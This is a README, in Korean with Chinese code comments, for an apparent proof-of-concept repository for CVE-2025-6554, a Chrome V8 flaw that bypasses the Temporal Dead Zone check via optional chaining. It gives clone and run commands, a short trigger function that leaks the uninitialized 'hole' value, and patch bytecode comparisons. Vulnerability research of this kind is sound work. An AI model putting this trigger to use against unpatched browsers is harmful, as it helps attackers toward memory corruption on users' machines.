
CVE-2025-6554 PoC
⚠️ 보안 연구 프로젝트 - 이 프로젝트는 보안 연구 및 교육 목적으로만 사용하세요. 프로덕션 환경에서 사용하지 마십시오.
CVE-2025-6554는 Chrome V8 엔진의 심각한 취약점으로, JavaScript의 "Temporal Dead Zone"(TDZ) 검사 메커니즘과 관련이 있습니다. 이 프로젝트는 완전한 취약점 개념 증명 코드와 데모 도구를 제공합니다.
이 취약점은 V8 엔진이 선택적 체이닝 연산자(?.)를 처리할 때 변수 초기화 여부를 올바르게 확인하지 않아, 선언되지 않은 변수에 접근할 수 있고 TDZ 보호 메커니즘을 우회할 수 있습니다.
git clone https://github.com/9Insomnie/CVE-2025-6554.git
cd CVE-2025-6554
CVE-2025-6554/
├── Exploit.js # 原始漏洞利用代码
├── Test-Exploit.js # 测试版本
├── poc.html # 检测文件
├── README.md # 项目说明
└── 使用说明.md # 详细使用指南
# 使用V8的d8调试器运行
c:\path\to\v8\out\x64.debug\d8 --allow-natives-syntax --print-bytecode Exploit.js
# 运行测试版本
node Test-Exploit.js
# 或运行原始利用代码
node Exploit.js
HTML 파일을 브라우저에서 직접 열어 테스트합니다(관련 기능 지원 필요).
function leak_hole() {
let x;
delete x?.[y]?.a; // 使用未声明的变量y
return y; // 应该抛出ReferenceError
let y; // y在这里才声明
}
패치 전:
0x32600100133 @ 11 : b6 00 ThrowReferenceErrorIfHole [0]
패치 후:
0x29f00100133 @ 11 : b6 00 ThrowReferenceErrorIfHole [0]
0x29f00100144 @ 28 : b6 00 ThrowReferenceErrorIfHole [0] // 新增检查
delete x?.[y]?.a# 检查漏洞是否存在
node Test-Exploit.js
# 查看详细字节码
d8 --allow-natives-syntax --print-bytecode Exploit.js
이 취약점은 보안 연구원에 의해 발견되었으며, V8 엔진의 TDZ 검사 메커니즘과 관련이 있습니다. 선택적 체이닝 연산자를 통해 공격자는 변수 초기화 검사를 우회하고 메모리 제어권을 얻을 수 있습니다.
이 프로젝트는 MIT 라이선스를 적용합니다. 자세한 내용은 LICENSE 파일을 참조하세요.
⚠️ 면책 조항: 이 프로젝트는 보안 연구 및 교육 목적으로만 사용됩니다. 사용자는 사용에 따른 위험을 스스로 부담하며, 저자는 어떠한 법적 책임도 지지 않습니다.
🔒 보안 보고: 새로운 보안 문제를 발견하시면 GitHub Issues를 통해 연락해 주세요.